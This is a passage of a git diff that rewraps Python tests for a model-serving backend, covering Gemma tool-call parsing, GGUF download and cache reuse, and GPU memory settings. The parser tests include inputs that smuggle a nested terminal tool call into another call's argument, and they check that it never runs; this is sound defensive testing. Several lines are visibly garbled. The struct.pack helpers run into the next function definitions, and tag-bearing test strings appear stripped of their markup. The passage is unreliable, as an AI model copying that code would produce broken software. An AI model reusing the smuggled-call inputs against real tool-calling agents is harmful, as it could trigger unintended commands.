"<|think|>" not in _render( + [{"role": "user", "content": "hi"}], enable_thinking = False + ) # ── Reload dedup interaction (why the route resolves the effective override) ── @@ -334,9 +348,14 @@ def test_already_in_target_state_consistent_with_bundled_override(): is_vision = False, ) # Effective (resolved bundled) override -> already loaded, no reload. - assert backend._already_in_target_state(chat_template_override = BUNDLED, **common) is True + assert ( + backend._already_in_target_state(chat_template_override = BUNDLED, **common) + is True + ) # Raw None (unresolved) -> false match, would force a needless reload. - assert backend._already_in_target_state(chat_template_override = None, **common) is False + assert ( + backend._already_in_target_state(chat_template_override = None, **common) is False + ) def _import_backend(): diff --git a/studio/backend/tests/test_gemma_tool_parse_edge_cases.py b/studio/backend/tests/test_gemma_tool_parse_edge_cases.py index e3055d2127..ab23561bc7 100644 --- a/studio/backend/tests/test_gemma_tool_parse_edge_cases.py +++ b/studio/backend/tests/test_gemma_tool_parse_edge_cases.py @@ -35,14 +35,18 @@ def test_bare_string_argument_with_comma_is_kept(): def test_normal_multi_key_arguments_still_split(): - calls = parse_tool_calls_from_text('<|tool_call>call:f{a:1,b:hello,c:"x,y"}') + calls = parse_tool_calls_from_text( + '<|tool_call>call:f{a:1,b:hello,c:"x,y"}' + ) assert len(calls) == 1, calls assert _args(calls[0]) == {"a": 1, "b": "hello", "c": "x,y"} def test_empty_bare_value_becomes_empty_string_not_dropped(): # An empty bare value (``{query:}``) must serialise as ``""`` (``{"query":}`` is invalid JSON and dropped the call). - calls = parse_tool_calls_from_text("<|tool_call>call:search{query:,unit:celsius}") + calls = parse_tool_calls_from_text( + "<|tool_call>call:search{query:,unit:celsius}" + ) assert len(calls) == 1, calls assert _args(calls[0]) == {"query": "", "unit": "celsius"} @@ -57,13 +61,18 @@ def test_bare_value_with_timestamps_after_comma_is_kept(): "<|tool_call>call:remind{query:meet at 10:00, 11:00 tomorrow,priority:high}" ) assert len(calls) == 1, calls - assert _args(calls[0]) == {"query": "meet at 10:00, 11:00 tomorrow", "priority": "high"} + assert _args(calls[0]) == { + "query": "meet at 10:00, 11:00 tomorrow", + "priority": "high", + } def test_wrapperless_bare_value_with_timestamps_after_comma_is_kept(): # The wrapper-less Gemma form (no <|tool_call> markers) goes through the # _gemma_parse_stripped_body scanner and its _GEMMA_KEY_RE. - calls = parse_tool_calls_from_text("call:web_search{query:meet at 10:00, 11:00 tomorrow}") + calls = parse_tool_calls_from_text( + "call:web_search{query:meet at 10:00, 11:00 tomorrow}" + ) assert len(calls) == 1, calls assert calls[0]["function"]["name"] == "web_search" assert _args(calls[0]) == {"query": "meet at 10:00, 11:00 tomorrow"} @@ -79,7 +88,9 @@ def test_marker_inside_json_argument_is_not_a_second_call(): def test_two_separate_gemma_calls_both_parse(): - content = "<|tool_call>call:a{x:1} and <|tool_call>call:b{y:2}" + content = ( + "<|tool_call>call:a{x:1} and <|tool_call>call:b{y:2}" + ) calls = parse_tool_calls_from_text(content) assert [c["function"]["name"] for c in calls] == ["a", "b"], calls assert _args(calls[0]) == {"x": 1} @@ -114,7 +125,9 @@ def test_nested_gemma_marker_in_unquoted_arg_does_not_run_inner_call(): def test_bare_string_array_argument_is_quoted(): - calls = parse_tool_calls_from_text("<|tool_call>call:label{labels:[bug,ui]}") + calls = parse_tool_calls_from_text( + "<|tool_call>call:label{labels:[bug,ui]}" + ) assert len(calls) == 1, calls assert _args(calls[0]) == {"labels": ["bug", "ui"]} @@ -131,11 +144,15 @@ def test_array_of_objects_is_normalised(): "<|tool_call>call:batch{items:[{path:a,mode:r},{path:b,mode:w}]}" ) assert len(calls) == 1, calls - assert _args(calls[0]) == {"items": [{"path": "a", "mode": "r"}, {"path": "b", "mode": "w"}]} + assert _args(calls[0]) == { + "items": [{"path": "a", "mode": "r"}, {"path": "b", "mode": "w"}] + } def test_nested_array_elements_are_normalised(): - calls = parse_tool_calls_from_text("<|tool_call>call:grid{cells:[[a,b],[c,d]]}") + calls = parse_tool_calls_from_text( + "<|tool_call>call:grid{cells:[[a,b],[c,d]]}" + ) assert _args(calls[0]) == {"cells": [["a", "b"], ["c", "d"]]} @@ -218,7 +235,10 @@ def test_gemma_close_marker_inside_quoted_arg_is_not_leaked_when_stripping(): assert len(calls) == 1, calls assert _args(calls[0]) == {"code": 'print("")'} assert strip_tool_call_markup("before " + text + " after") == "before after" - assert strip_tool_call_markup("before " + text + " after", final = True) == "before after" + assert ( + strip_tool_call_markup("before " + text + " after", final = True) + == "before after" + ) def test_nested_xml_in_malformed_gemma_call_does_not_execute(): @@ -261,7 +281,9 @@ def test_xml_between_braces_and_close_marker_does_not_execute(): def test_balanced_inner_call_inside_unclosed_outer_does_not_execute(): - text = "<|tool_call>call:outer{code:<|tool_call>call:terminal{command:id}" + text = ( + "<|tool_call>call:outer{code:<|tool_call>call:terminal{command:id}" + ) for allow_incomplete in (True, False): calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete) assert "terminal" not in [c["function"]["name"] for c in calls], calls @@ -285,11 +307,13 @@ def test_valid_call_after_missing_close_is_recovered(): # A close-less call covers only its braces, so the later call is recovered. text = "<|tool_call>call:a{x:1} <|tool_call>call:b{y:2}" names_inc = [ - c["function"]["name"] for c in parse_tool_calls_from_text(text, allow_incomplete = True) + c["function"]["name"] + for c in parse_tool_calls_from_text(text, allow_incomplete = True) ] assert "b" in names_inc, names_inc names_strict = [ - c["function"]["name"] for c in parse_tool_calls_from_text(text, allow_incomplete = False) + c["function"]["name"] + for c in parse_tool_calls_from_text(text, allow_incomplete = False) ] assert names_strict == ["b"], names_strict @@ -322,9 +346,7 @@ def test_gemma_call_between_gemma_braces_and_close_does_not_execute(): def test_strip_final_keeps_text_after_closed_xml_with_inner_gemma_opener(): # The to-EOF Gemma sweep must not eat visible text after . - text = ( - 'before print("<|tool_call>") after' - ) + text = 'before print("<|tool_call>") after' assert strip_tool_call_markup(text, final = True) == "before after" assert strip_tool_call_markup(text) == "before after" @@ -332,9 +354,7 @@ def test_strip_final_keeps_text_after_closed_xml_with_inner_gemma_opener(): def test_strip_final_keeps_text_after_closed_block_with_call_form_gemma_opener(): # A call-form Gemma opener quoted in a closed block must not truncate it. xml = "<|tool_call>call:t{" - json_block = ( - '{"name":"python","arguments":{"code":"<|tool_call>call:t{"}}' - ) + json_block = '{"name":"python","arguments":{"code":"<|tool_call>call:t{"}}' for block in (xml, json_block): text = "before " + block + " after" assert strip_tool_call_markup(text, final = True) == "before after", block @@ -357,7 +377,8 @@ def test_valid_call_after_close_less_marker_with_quoted_close_token_is_recovered # close-less marker's coverage over that call. gemma = '<|tool_call>call:a{x:1} <|tool_call>call:b{note:<|"|><|"|>}' names = [ - c["function"]["name"] for c in parse_tool_calls_from_text(gemma, allow_incomplete = False) + c["function"]["name"] + for c in parse_tool_calls_from_text(gemma, allow_incomplete = False) ] assert names == ["b"], names json_text = ( @@ -365,7 +386,8 @@ def test_valid_call_after_close_less_marker_with_quoted_close_token_is_recovered '{"name":"b","arguments":{"x":""}}' ) names_j = [ - c["function"]["name"] for c in parse_tool_calls_from_text(json_text, allow_incomplete = False) + c["function"]["name"] + for c in parse_tool_calls_from_text(json_text, allow_incomplete = False) ] assert "b" in names_j, names_j @@ -388,7 +410,9 @@ def test_malformed_gemma_array_does_not_hang(): result: dict = {} def _run(): - result["calls"] = parse_tool_calls_from_text("<|tool_call>call:f{a:[},]}") + result["calls"] = parse_tool_calls_from_text( + "<|tool_call>call:f{a:[},]}" + ) t = threading.Thread(target = _run, daemon = True) t.start() @@ -403,9 +427,13 @@ def test_malformed_gemma_mapping_value_does_not_hang(): result: dict = {} def _run(): - result["calls"] = parse_tool_calls_from_text("<|tool_call>call:f{a:}},b:1}") + result["calls"] = parse_tool_calls_from_text( + "<|tool_call>call:f{a:}},b:1}" + ) t = threading.Thread(target = _run, daemon = True) t.start() t.join(timeout = 10.0) - assert not t.is_alive(), "parse_tool_calls_from_text hung on malformed mapping input" + assert ( + not t.is_alive() + ), "parse_tool_calls_from_text hung on malformed mapping input" diff --git a/studio/backend/tests/test_gguf_completion_usage.py b/studio/backend/tests/test_gguf_completion_usage.py index d1e05f3e0e..d7093979e9 100644 --- a/studio/backend/tests/test_gguf_completion_usage.py +++ b/studio/backend/tests/test_gguf_completion_usage.py @@ -30,8 +30,12 @@ class _GgufBackend: def _request_completion(monkeypatch, usage): - monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: _GgufBackend(usage)) - monkeypatch.setattr(inference_route, "_effective_enable_tools", lambda payload: False) + monkeypatch.setattr( + inference_route, "get_llama_cpp_backend", lambda: _GgufBackend(usage) + ) + monkeypatch.setattr( + inference_route, "_effective_enable_tools", lambda payload: False + ) app = FastAPI() app.include_router(inference_route.router) diff --git a/studio/backend/tests/test_gguf_load_cache_reuse.py b/studio/backend/tests/test_gguf_load_cache_reuse.py index 62596fcc8a..f4b61200f2 100644 --- a/studio/backend/tests/test_gguf_load_cache_reuse.py +++ b/studio/backend/tests/test_gguf_load_cache_reuse.py @@ -125,7 +125,10 @@ class TestLoadReusesCachedCopy: with ( patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]), patch("huggingface_hub.get_paths_info", _fail_get_paths_info), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + _fail_download, + ), ): out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT) @@ -151,7 +154,10 @@ class TestLoadReusesCachedCopy: with ( patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]), patch("huggingface_hub.get_paths_info", fake_get_paths_info), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + _fail_download, + ), ): out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT) @@ -166,7 +172,10 @@ class TestLoadReusesCachedCopy: with ( patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]), patch("huggingface_hub.get_paths_info", lambda *_a, **_k: []), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + _fail_download, + ), ): out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT) @@ -199,7 +208,10 @@ class TestLoadReusesCachedCopy: patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]), patch("huggingface_hub.get_paths_info", fake_get_paths_info), patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + fake_download, + ), ): out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT) @@ -232,10 +244,15 @@ class TestLoadReusesCachedCopy: return f"/fake/{repo_id}/{filename}" with ( - patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [shard1, shard2]), + patch( + "huggingface_hub.list_repo_files", lambda *_a, **_k: [shard1, shard2] + ), patch("huggingface_hub.get_paths_info", fake_get_paths_info), patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + fake_download, + ), ): out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT) @@ -251,7 +268,10 @@ class TestLoadReusesCachedCopy: with ( patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]), patch("huggingface_hub.get_paths_info", _fail_get_paths_info), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + _fail_download, + ), ): out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT) @@ -275,13 +295,18 @@ class TestLoadReusesCachedCopy: paths, token = None, ): - return [_types.SimpleNamespace(path = p, size = 1) for p in paths if p is not None] + return [ + _types.SimpleNamespace(path = p, size = 1) for p in paths if p is not None + ] with ( patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]), patch("huggingface_hub.get_paths_info", fake_get_paths_info), patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + fake_download, + ), ): out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT) @@ -309,13 +334,18 @@ class TestLoadReusesCachedCopy: paths, token = None, ): - return [_types.SimpleNamespace(path = p, size = 1) for p in paths if p is not None] + return [ + _types.SimpleNamespace(path = p, size = 1) for p in paths if p is not None + ] with ( patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]), patch("huggingface_hub.get_paths_info", fake_get_paths_info), patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + fake_download, + ), ): out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT, force = True) @@ -329,9 +359,14 @@ class TestLoadReusesCachedCopy: snap = _build_cache(hf_cache, REPO, {shard1: 4, shard2: 4}) with ( - patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [shard1, shard2]), + patch( + "huggingface_hub.list_repo_files", lambda *_a, **_k: [shard1, shard2] + ), patch("huggingface_hub.get_paths_info", _fail_get_paths_info), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + _fail_download, + ), ): out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT) @@ -359,13 +394,20 @@ class TestLoadReusesCachedCopy: paths, token = None, ): - return [_types.SimpleNamespace(path = p, size = 4) for p in paths if p is not None] + return [ + _types.SimpleNamespace(path = p, size = 4) for p in paths if p is not None + ] with ( - patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [shard1, shard2]), + patch( + "huggingface_hub.list_repo_files", lambda *_a, **_k: [shard1, shard2] + ), patch("huggingface_hub.get_paths_info", fake_get_paths_info), patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + fake_download, + ), ): out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT) @@ -385,7 +427,10 @@ class TestLoadReusesCachedCopy: with ( patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]), patch("huggingface_hub.get_paths_info", _fail_get_paths_info), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + _fail_download, + ), ): out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT) @@ -410,13 +455,18 @@ class TestLoadReusesCachedCopy: patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]), patch("huggingface_hub.get_paths_info", fake_get_paths_info), patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None), - patch("shutil.disk_usage", lambda *_a, **_k: _types.SimpleNamespace(free = 10)), + patch( + "shutil.disk_usage", lambda *_a, **_k: _types.SimpleNamespace(free = 10) + ), patch.object( backend, "_find_smallest_fitting_variant", lambda *_a, **_k: (fallback, 4, []), ), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + _fail_download, + ), ): out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT) @@ -462,7 +512,10 @@ class TestLoadReusesCachedCopy: with ( patch("huggingface_hub.list_repo_files", _fail_download), patch("hub.utils.download_registry.get_models_registry", lambda: registry), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + _fail_download, + ), ): out = backend._download_mmproj(hf_repo = REPO, near_path = str(snap / MAIN)) @@ -512,7 +565,9 @@ class TestCachedGgufForLoadProbe: assert cached_gguf_for_load(REPO, VARIANT, require_mmproj = True) is None (snap / "mmproj-F16.gguf").write_bytes(b"mmproj") - assert cached_gguf_for_load(REPO, VARIANT, require_mmproj = True) == str(snap / MAIN) + assert cached_gguf_for_load(REPO, VARIANT, require_mmproj = True) == str( + snap / MAIN + ) def test_required_mmproj_scans_past_newer_main_only_snapshot(self, hf_cache): import os @@ -527,7 +582,9 @@ class TestCachedGgufForLoadProbe: os.utime(old, (1_000_000, 1_000_000)) os.utime(new, (2_000_000, 2_000_000)) - assert cached_gguf_for_load(REPO, VARIANT, require_mmproj = True) == str(old / MAIN) + assert cached_gguf_for_load(REPO, VARIANT, require_mmproj = True) == str( + old / MAIN + ) class TestLoadHubDownloadExclusion: @@ -558,7 +615,9 @@ class TestLoadHubDownloadExclusion: body = DownloadModelRequest(repo_id = REPO, gguf_variant = VARIANT) with ( - patch.object(dl, "resolve_cached_repo_id_case", lambda repo_id, repo_type: repo_id), + patch.object( + dl, "resolve_cached_repo_id_case", lambda repo_id, repo_type: repo_id + ), gguf_load_in_flight(REPO), ): with pytest.raises(HTTPException) as exc_info: @@ -594,7 +653,11 @@ class TestLoadHubDownloadExclusion: body = DownloadModelRequest(repo_id = REPO, gguf_variant = VARIANT) try: with ( - patch.object(dl, "resolve_cached_repo_id_case", lambda repo_id, repo_type: repo_id), + patch.object( + dl, + "resolve_cached_repo_id_case", + lambda repo_id, repo_type: repo_id, + ), patch.object(dl.gguf_variants, "gguf_variant_blob_hashes", mark_load), patch.object(dl, "_registry", registry), ): @@ -648,7 +711,9 @@ class TestLoadHubDownloadExclusion: patch("hub.utils.download_registry.get_models_registry", lambda: registry), patch( "core.inference.llama_cpp.cached_gguf_for_load", - side_effect = AssertionError("same-variant jobs must block before cache reuse"), + side_effect = AssertionError( + "same-variant jobs must block before cache reuse" + ), ), ): assert _hub_download_blocks_gguf_load(REPO, VARIANT) is True @@ -725,7 +790,9 @@ class TestLoadHubDownloadExclusion: asyncio.run(scenario()) def test_load_marker_precedes_hub_guard_and_unload(self): - source = (Path(__file__).resolve().parent.parent / "routes" / "inference.py").read_text() + source = ( + Path(__file__).resolve().parent.parent / "routes" / "inference.py" + ).read_text() gguf_branch = source[source.index("if config.is_gguf:") :] # The gguf_load_in_flight marker must be entered before the hub-download @@ -739,6 +806,9 @@ class TestLoadHubDownloadExclusion: < gguf_branch.index("unsloth_backend.unload_model") ) llama_source = ( - Path(__file__).resolve().parent.parent / "core" / "inference" / "llama_cpp.py" + Path(__file__).resolve().parent.parent + / "core" + / "inference" + / "llama_cpp.py" ).read_text() assert "@_with_gguf_load_marker\n def load_model(" in llama_source diff --git a/studio/backend/tests/test_gguf_metadata.py b/studio/backend/tests/test_gguf_metadata.py index ec0330ce05..4a907d8ef9 100644 --- a/studio/backend/tests/test_gguf_metadata.py +++ b/studio/backend/tests/test_gguf_metadata.py @@ -38,15 +38,23 @@ def _enc_kv_string(key: str, value: str) -> bytes: def _enc_kv_uint32(key: str, value: int) -> bytes: - return _enc_string(key) + struct.pack(" bytes: - return _enc_string(key) + struct.pack(" bytes: - return _enc_string(key) + struct.pack(" bytes: @@ -264,7 +272,10 @@ def test_extracts_general_string_fields(tmp_path: Path): assert meta is not None assert meta["general.architecture"] == "qwen2vl" assert meta["general.basename"] == "Qwen3.5" - assert meta["general.base_model.0.repo_url"] == "https://huggingface.co/Qwen/Qwen3.5-9B" + assert ( + meta["general.base_model.0.repo_url"] + == "https://huggingface.co/Qwen/Qwen3.5-9B" + ) def test_skips_unrelated_fields_without_breaking(tmp_path: Path): diff --git a/studio/backend/tests/test_gguf_tool_non_streaming.py b/studio/backend/tests/test_gguf_tool_non_streaming.py index d9044824cb..b0a5780378 100644 --- a/studio/backend/tests/test_gguf_tool_non_streaming.py +++ b/studio/backend/tests/test_gguf_tool_non_streaming.py @@ -55,7 +55,9 @@ def _client(monkeypatch, backend = None): inference_route, "get_llama_cpp_backend", lambda: backend or _ToolGgufBackend() ) # Tools forced on -- the same effect as the CLI `run --model` tool policy. - monkeypatch.setattr(inference_route, "_effective_enable_tools", lambda payload: True) + monkeypatch.setattr( + inference_route, "_effective_enable_tools", lambda payload: True + ) async def _fake_select(payload, **_kwargs): return [{"type": "function", "function": {"name": "python"}}] @@ -77,7 +79,9 @@ def _payload(stream: bool): def test_non_streaming_tool_call_returns_single_json(monkeypatch): - response = _client(monkeypatch).post("/chat/completions", json = _payload(stream = False)) + response = _client(monkeypatch).post( + "/chat/completions", json = _payload(stream = False) + ) assert response.status_code == 200 # The bug returned text/event-stream here; it must be a single JSON object. @@ -95,7 +99,9 @@ def test_non_streaming_tool_call_returns_single_json(monkeypatch): def test_streaming_tool_call_still_streams(monkeypatch): # The parallel path is untouched: stream:true keeps returning SSE. - response = _client(monkeypatch).post("/chat/completions", json = _payload(stream = True)) + response = _client(monkeypatch).post( + "/chat/completions", json = _payload(stream = True) + ) assert response.status_code == 200 assert response.headers["content-type"].startswith("text/event-stream") diff --git a/studio/backend/tests/test_gguf_xet_fallback_integration.py b/studio/backend/tests/test_gguf_xet_fallback_integration.py index cbcc73847e..1cdde145ab 100644 --- a/studio/backend/tests/test_gguf_xet_fallback_integration.py +++ b/studio/backend/tests/test_gguf_xet_fallback_integration.py @@ -104,8 +104,13 @@ def test_companion_routes_through_helper(hf_cache): return f"/fake/{filename}" with ( - patch("huggingface_hub.list_repo_files", lambda *a, **k: ["mmproj-vision-F16.gguf"]), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_helper), + patch( + "huggingface_hub.list_repo_files", + lambda *a, **k: ["mmproj-vision-F16.gguf"], + ), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_helper + ), ): out = backend._download_mmproj(hf_repo = REPO, hf_token = None) @@ -127,12 +132,20 @@ def test_companion_swallows_terminal_stall_to_none(hf_cache): raise DownloadStallError("both transports stalled") with ( - patch("huggingface_hub.list_repo_files", lambda *a, **k: ["mmproj-vision-F16.gguf"]), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", stalling_helper), + patch( + "huggingface_hub.list_repo_files", + lambda *a, **k: ["mmproj-vision-F16.gguf"], + ), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + stalling_helper, + ), ): out = backend._download_mmproj(hf_repo = REPO, hf_token = None) - assert out is None, "a companion download is best-effort; a terminal stall must not raise" + assert ( + out is None + ), "a companion download is best-effort; a terminal stall must not raise" def test_companion_cancelled_skips_download(hf_cache): @@ -151,7 +164,10 @@ def test_companion_cancelled_skips_download(hf_cache): return "/should-not-happen" with ( - patch("huggingface_hub.list_repo_files", lambda *a, **k: ["mmproj-vision-F16.gguf"]), + patch( + "huggingface_hub.list_repo_files", + lambda *a, **k: ["mmproj-vision-F16.gguf"], + ), patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", helper), ): out = backend._download_mmproj(hf_repo = REPO, hf_token = None) diff --git a/studio/backend/tests/test_gpu_memory_mode.py b/studio/backend/tests/test_gpu_memory_mode.py index b17274197f..911e898082 100644 --- a/studio/backend/tests/test_gpu_memory_mode.py +++ b/studio/backend/tests/test_gpu_memory_mode.py @@ -65,7 +65,9 @@ def test_load_request_defaults_gpu_memory_mode_auto(): def test_load_request_round_trips_json_key(): - req = LoadRequest.model_validate({"model_path": "owner/repo", "gpu_memory_mode": "manual"}) + req = LoadRequest.model_validate( + {"model_path": "owner/repo", "gpu_memory_mode": "manual"} + ) assert req.gpu_memory_mode == "manual" assert req.model_dump()["gpu_memory_mode"] == "manual" @@ -213,7 +215,9 @@ def test_auto_layers_branch_empties_gpus_and_drops_tensor_parallel(): assert 'cmd.extend(["--fit", "on"])' in src # TP drops for this path, but at a guard BEFORE the quantized-KV cache-drop, so # a requested quantized cache survives into the --fit load. - tp_drop = src.find('if tensor_parallel and gpu_memory_mode == "manual" and gpu_layers < 0:') + tp_drop = src.find( + 'if tensor_parallel and gpu_memory_mode == "manual" and gpu_layers < 0:' + ) assert tp_drop != -1, "manual + Auto layers must drop tensor_parallel" assert "tensor_parallel = False" in src[tp_drop : tp_drop + 400] cache_drop = src.find("Tensor parallelism requires a non-quantized KV cache") @@ -239,7 +243,9 @@ def test_auto_layers_never_sends_ctx_size_zero(): zero = src.find('cmd.extend(["-c", "0"])') assert zero != -1, '"-c 0" emission must exist outside the Auto-layers case' guard = src.rfind("elif not auto_fit:", 0, zero) - assert guard != -1 and zero - guard < 120, '"-c 0" must sit under the not-auto_fit guard' + assert ( + guard != -1 and zero - guard < 120 + ), '"-c 0" must sit under the not-auto_fit guard' def test_manual_mode_clears_inherited_main_model_placement_env(): @@ -301,7 +307,9 @@ def test_load_request_accepts_valid_tensor_split(good): def test_route_normalizes_explicit_extras_before_reload_dedupe(): - route_src = (Path(_BACKEND_DIR) / "routes" / "inference.py").read_text(encoding = "utf-8") + route_src = (Path(_BACKEND_DIR) / "routes" / "inference.py").read_text( + encoding = "utf-8" + ) load_impl = route_src[route_src.index("async def _load_model_impl") :] strip = load_impl.index("_stripped_explicit = strip_shadowing_flags") normalize = load_impl.index( @@ -410,10 +418,16 @@ def test_manual_reloads_on_gpu_layers_or_n_cpu_moe_or_split_change(): # Changed MoE offload -> reload. assert _target_state_manual(backend, gpu_layers = 20, n_cpu_moe = 8) is False # Added a GPU split -> reload. - assert _target_state_manual(backend, gpu_layers = 20, n_cpu_moe = 0, tensor_split = [2, 1]) is False + assert ( + _target_state_manual(backend, gpu_layers = 20, n_cpu_moe = 0, tensor_split = [2, 1]) + is False + ) # Same GPU split -> no reload. backend._tensor_split = [2, 1] - assert _target_state_manual(backend, gpu_layers = 20, n_cpu_moe = 0, tensor_split = [2, 1]) is True + assert ( + _target_state_manual(backend, gpu_layers = 20, n_cpu_moe = 0, tensor_split = [2, 1]) + is True + ) def test_auto_layers_reload_tracks_only_gpu_layers(): @@ -424,7 +438,10 @@ def test_auto_layers_reload_tracks_only_gpu_layers(): backend._n_cpu_moe = 0 backend._tensor_split = None # Same Auto, leftover MoE/split in the request -> still no reload. - assert _target_state_manual(backend, gpu_layers = -1, n_cpu_moe = 8, tensor_split = [2, 1]) is True + assert ( + _target_state_manual(backend, gpu_layers = -1, n_cpu_moe = 8, tensor_split = [2, 1]) + is True + ) # Auto -> explicit offload reloads. assert _target_state_manual(backend, gpu_layers = 20, n_cpu_moe = 0) is False @@ -466,7 +483,9 @@ def test_status_reports_requested_context_length(): # never-populated field would leave hydration silently reverting the pin). from pathlib import Path as _P - route_src = (_P(_BACKEND_DIR) / "routes" / "inference.py").read_text(encoding = "utf-8") + route_src = (_P(_BACKEND_DIR) / "routes" / "inference.py").read_text( + encoding = "utf-8" + ) assert "requested_context_length = llama_backend.requested_n_ctx" in route_src @@ -570,9 +589,13 @@ def test_fit_sets_target_margin(): assert flags[flags.index("--fit-target") + 1] == "512" # Not emitted on the legacy auto path (fit on but not auto_fit): -c 0 pins # native there, so the tighter margin must not ride along. - assert "--fit-target" not in LlamaCppBackend._ctx_integrity_flags(1, True, False, 0, 0, caps) + assert "--fit-target" not in LlamaCppBackend._ctx_integrity_flags( + 1, True, False, 0, 0, caps + ) # Not emitted when fit is off. - assert "--fit-target" not in LlamaCppBackend._ctx_integrity_flags(1, False, False, 0, 0, caps) + assert "--fit-target" not in LlamaCppBackend._ctx_integrity_flags( + 1, False, False, 0, 0, caps + ) # Not emitted when the binary lacks support. assert "--fit-target" not in LlamaCppBackend._ctx_integrity_flags( 1, True, True, 0, 0, {"supports_fit_target": False} @@ -591,7 +614,9 @@ def test_load_request_accepts_gpu_ids(): @pytest.mark.parametrize("model_cls", [LoadResponse, InferenceStatusResponse]) def test_response_models_emit_gpu_ids(model_cls): if model_cls is LoadResponse: - obj = model_cls(status = "loaded", model = "m", display_name = "m", inference = {}, gpu_ids = [1]) + obj = model_cls( + status = "loaded", model = "m", display_name = "m", inference = {}, gpu_ids = [1] + ) else: obj = model_cls(gpu_ids = [1]) assert obj.model_dump()["gpu_ids"] == [1] @@ -662,10 +687,14 @@ def test_route_matches_loaded_settings_collapses_diffusion_gpu_ids(): # The route-level reload dedupe mirrors the backend: for a loaded diffusion # model it compares the request against the single recorded device, not the # full requested list, or a same-device multi-GPU pick reloads needlessly. - route_src = (Path(_BACKEND_DIR) / "routes" / "inference.py").read_text(encoding = "utf-8") + route_src = (Path(_BACKEND_DIR) / "routes" / "inference.py").read_text( + encoding = "utf-8" + ) match_impl = route_src[route_src.index("def _request_matches_loaded_settings") :] guard = match_impl.index("if llama_backend.is_diffusion:") - collapse = match_impl.index("[sorted(request.gpu_ids)[0]] if request.gpu_ids else None") + collapse = match_impl.index( + "[sorted(request.gpu_ids)[0]] if request.gpu_ids else None" + ) compare = match_impl.index("if _req_gpu_ids != llama_backend.gpu_ids:") assert guard < collapse < compare @@ -679,7 +708,9 @@ def _patch_split_pin_env(monkeypatch, *, inherited, reported): import utils.hardware as hw monkeypatch.setattr( - LlamaCppBackend, "_resolve_visible_physical_ids", staticmethod(lambda: inherited) + LlamaCppBackend, + "_resolve_visible_physical_ids", + staticmethod(lambda: inherited), ) info = ( {"available": False} @@ -840,12 +871,22 @@ def test_zero_offload_flag_false_with_cpu_device_pin(device_args, env): def test_zero_offload_flag_true_with_surviving_tensor_mode(): - cmd = ["llama-server", "-m", "model.gguf", "--gpu-layers", "0", "--split-mode", "tensor"] + cmd = [ + "llama-server", + "-m", + "model.gguf", + "--gpu-layers", + "0", + "--split-mode", + "tensor", + ] assert LlamaCppBackend._zero_offload_gpu_flag(cmd, 